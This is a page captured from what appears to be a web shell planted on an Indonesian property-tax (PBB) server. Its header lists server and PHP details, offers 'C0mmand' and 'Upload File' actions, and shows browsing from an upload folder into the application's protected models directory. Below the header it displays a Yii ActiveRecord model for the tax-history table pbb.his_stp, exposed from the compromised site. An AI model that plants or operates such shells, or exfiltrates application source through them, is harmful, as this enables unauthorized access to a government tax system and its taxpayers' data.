|
Server IP : 127.0.0.1 / Your IP : 127.0.0.1 Web Server : Apache/2.4.10 (Win32) OpenSSL/1.0.1i PHP/5.6.3 System : Windows NT WIN-R7LTCC7BPLI 6.3 build 9200 (Windows Server 2012 R2 Datacenter Edition) i586 User : GerbangSIPAD ( 0) PHP Version : 5.6.3 Disable Function : NONE MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF Directory (0777) : C:/xampp5/htdocs/bhumie/upload/../protected/models/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
/**
* This is the model class for table "pbb.his_stp".
*
* The followings are the available columns in table 'pbb.his_stp':
* @property string $kd_propinsi
* @property string $kd_dati2
* @property string $kd_kecamatan
* @property string $kd_kelurahan
* @property string $kd_blok
* @property string $no_urut
* @property string $kd_jns_op
* @property string $thn_pajak_stp
* @property integer $indeks_perubahan_stp
* @property string $kd_kanwil
* @property string $kd_kantor
* @property string $jns_sk
* @property string $no_sk
* @property string $his_kd_tp
* @property string $his_tgl_jatuh_tempo_stp
* @property string $his_tgl_terbit_stp
* @property string $his_sisa_pajak_terhutang_stp
* @property integer $his_jml_lambat_bulan_denda_stp
* @property string $his_rupiah_denda_stp
* @property string $his_jml_pajak_terhutang_stp
* @property integer $his_persetujuan_stp_kp_pbb
* @property string $his_kd_jns_ketetapan
* @property string $his_tgl_cetak_stp
* @property string $his_nip_pencetak_stp
* @property integer $createdby
* @property string $createdtime
* @property integer $updatedby
* @property string $updatedtime
*/
class HisStp extends CBhumieRecord
{
public $alias_1;
/**
* Returns the static model of the specified AR class.
* @param string $className active record class name.
* @return HisStp the static model class
*/
public static function model($className=__CLASS__)
{
return parent::model($className);
}
/**
* @return string the associated database table name
*/
public function tableName()
{
return 'pbb.his_stp';
}
/**
* @return array validation rules for model attributes.
*/
public function rules()
{
// NOTE: you should only define rules for those attributes that
// will receive user inputs.
return array(
array('kd_propinsi, kd_dati2, kd_kecamatan, kd_kelurahan, kd_blok, no_urut, kd_jns_op, thn_pajak_stp, indeks_perubahan_stp, kd_kanwil, kd_kantor, jns_sk, no_sk, his_kd_tp, his_tgl_jatuh_tempo_stp, his_tgl_terbit_stp, his_sisa_pajak_terhutang_stp, his_jml_lambat_bulan_denda_stp, his_rupiah_denda_stp, his_jml_pajak_terhutang_stp, his_persetujuan_stp_kp_pbb, his_kd_jns_ketetapan, his_tgl_cetak_stp, his_nip_pencetak_stp', 'required'),
array('indeks_perubahan_stp, his_jml_lambat_bulan_denda_stp, his_persetujuan_stp_kp_pbb', 'numerical', 'integerOnly'=>true),
array('kd_propinsi, kd_dati2, kd_kanwil, kd_kantor, his_kd_tp', 'length', 'max'=>2),
array('kd_kecamatan, kd_kelurahan, kd_blok', 'length', 'max'=>3),
array('no_urut, thn_pajak_stp', 'length', 'max'=>4),
array('kd_jns_op, jns_sk, his_kd_jns_ketetapan', 'length', 'max'=>1),
array('no_sk', 'length', 'max'=>30),
array('his_nip_pencetak_stp', 'length', 'max'=>18),
// The following rule is used by search().
// Please remove those attributes that should not be searched.
array('kd_propinsi, kd_dati2, kd_kecamatan, kd_kelurahan, kd_blok, no_urut, kd_jns_op, thn_pajak_stp, indeks_perubahan_stp, kd_kanwil, kd_kantor, jns_sk, no_sk, his_kd_tp, his_tgl_jatuh_tempo_stp, his_tgl_terbit_stp, his_sisa_pajak_terhutang_stp, his_jml_lambat_bulan_denda_stp, his_rupiah_denda_stp, his_jml_pajak_terhutang_stp, his_persetujuan_stp_kp_pbb, his_kd_jns_ketetapan, his_tgl_cetak_stp, his_nip_pencetak_stp, createdby, createdtime, updatedby, updatedtime', 'safe', 'on'=>'search'),
);
}
/**
* @return array relational rules.
*/
public function relations()
{
// NOTE: you may need to adjust the relation name and the related
// class name for the relations automatically generated below.
return array(
);
}
/**
* @return array customized attribute labels (name=>label)
*/
public function attributeLabels()
{
return array(
'kd_propinsi' => 'Kd Propinsi',
'kd_dati2' => 'Kd Dati2',
'kd_kecamatan' => 'Kd Kecamatan',
'kd_kelurahan' => 'Kd Kelurahan',
'kd_blok' => 'Kd Blok',
'no_urut' => 'No Urut',
'kd_jns_op' => 'Kd Jns Op',
'thn_pajak_stp' => 'Thn Pajak Stp',
'indeks_perubahan_stp' => 'Indeks Perubahan Stp',
'kd_kanwil' => 'Kd Kanwil',
'kd_kantor' => 'Kd Kantor',
'jns_sk' => 'Jns Sk',
'no_sk' => 'No Sk',
'his_kd_tp' => 'His Kd Tp',
'his_tgl_jatuh_tempo_stp' => 'His Tgl Jatuh Tempo Stp',
'his_tgl_terbit_stp' => 'His Tgl Terbit Stp',
'his_sisa_pajak_terhutang_stp' => 'His Sisa Pajak Terhutang Stp',
'his_jml_lambat_bulan_denda_stp' => 'His Jml Lambat Bulan Denda Stp',
'his_rupiah_denda_stp' => 'His Rupiah Denda Stp',
'his_jml_pajak_terhutang_stp' => 'His Jml Pajak Terhutang Stp',
'his_persetujuan_stp_kp_pbb' => 'His Persetujuan Stp Kp Pbb',
'his_kd_jns_ketetapan' => 'His Kd Jns Ketetapan',
'his_tgl_cetak_stp' => 'His Tgl Cetak Stp',
'his_nip_pencetak_stp' => 'His Nip Pencetak Stp',
);
}
/**
* Retrieves a list of models based on the current search/filter conditions.
* @return CActiveDataProvider the data provider that can return the models based on the search/filter conditions.
*/
public function search()
{
// Warning: Please modify the following code to remove attributes that
// should not be searched.
$criteria=new CDbCriteria;
$criteria->compare('kd_propinsi',$this->kd_propinsi,true);
$criteria->compare('kd_dati2',$this->kd_dati2,true);
$criteria->compare('kd_kecamatan',$this->kd_kecamatan,true);
$criteria->compare('kd_kelurahan',$this->kd_kelurahan,true);
$criteria->compare('kd_blok',$this->kd_blok,true);
$criteria->compare('no_urut',$this->no_urut,true);
$criteria->compare('kd_jns_op',$this->kd_jns_op,true);
$criteria->compare('thn_pajak_stp',$this->thn_pajak_stp,true);
$criteria->compare('indeks_perubahan_stp',$this->indeks_perubahan_stp);
$criteria->compare('kd_kanwil',$this->kd_kanwil,true);
$criteria->compare('kd_kantor',$this->kd_kantor,true);
$criteria->compare('jns_sk',$this->jns_sk,true);
$criteria->compare('no_sk',$this->no_sk,true);
$criteria->compare('his_kd_tp',$this->his_kd_tp,true);
$criteria->compare('his_tgl_jatuh_tempo_stp',$this->his_tgl_jatuh_tempo_stp,true);
$criteria->compare('his_tgl_terbit_stp',$this->his_tgl_terbit_stp,true);
$criteria->compare('his_sisa_pajak_terhutang_stp',$this->his_sisa_pajak_terhutang_stp,true);
$criteria->compare('his_jml_lambat_bulan_denda_stp',$this->his_jml_lambat_bulan_denda_stp);
$criteria->compare('his_rupiah_denda_stp',$this->his_rupiah_denda_stp,true);
$criteria->compare('his_jml_pajak_terhutang_stp',$this->his_jml_pajak_terhutang_stp,true);
$criteria->compare('his_persetujuan_stp_kp_pbb',$this->his_persetujuan_stp_kp_pbb);
$criteria->compare('his_kd_jns_ketetapan',$this->his_kd_jns_ketetapan,true);
$criteria->compare('his_tgl_cetak_stp',$this->his_tgl_cetak_stp,true);
$criteria->compare('his_nip_pencetak_stp',$this->his_nip_pencetak_stp,true);
$criteria->compare('createdby',$this->createdby);
$criteria->compare('createdtime',$this->createdtime,true);
$criteria->compare('updatedby',$this->updatedby);
$criteria->compare('updatedtime',$this->updatedtime,true);
return new CActiveDataProvider($this, array(
'criteria'=>$criteria,
));
}
}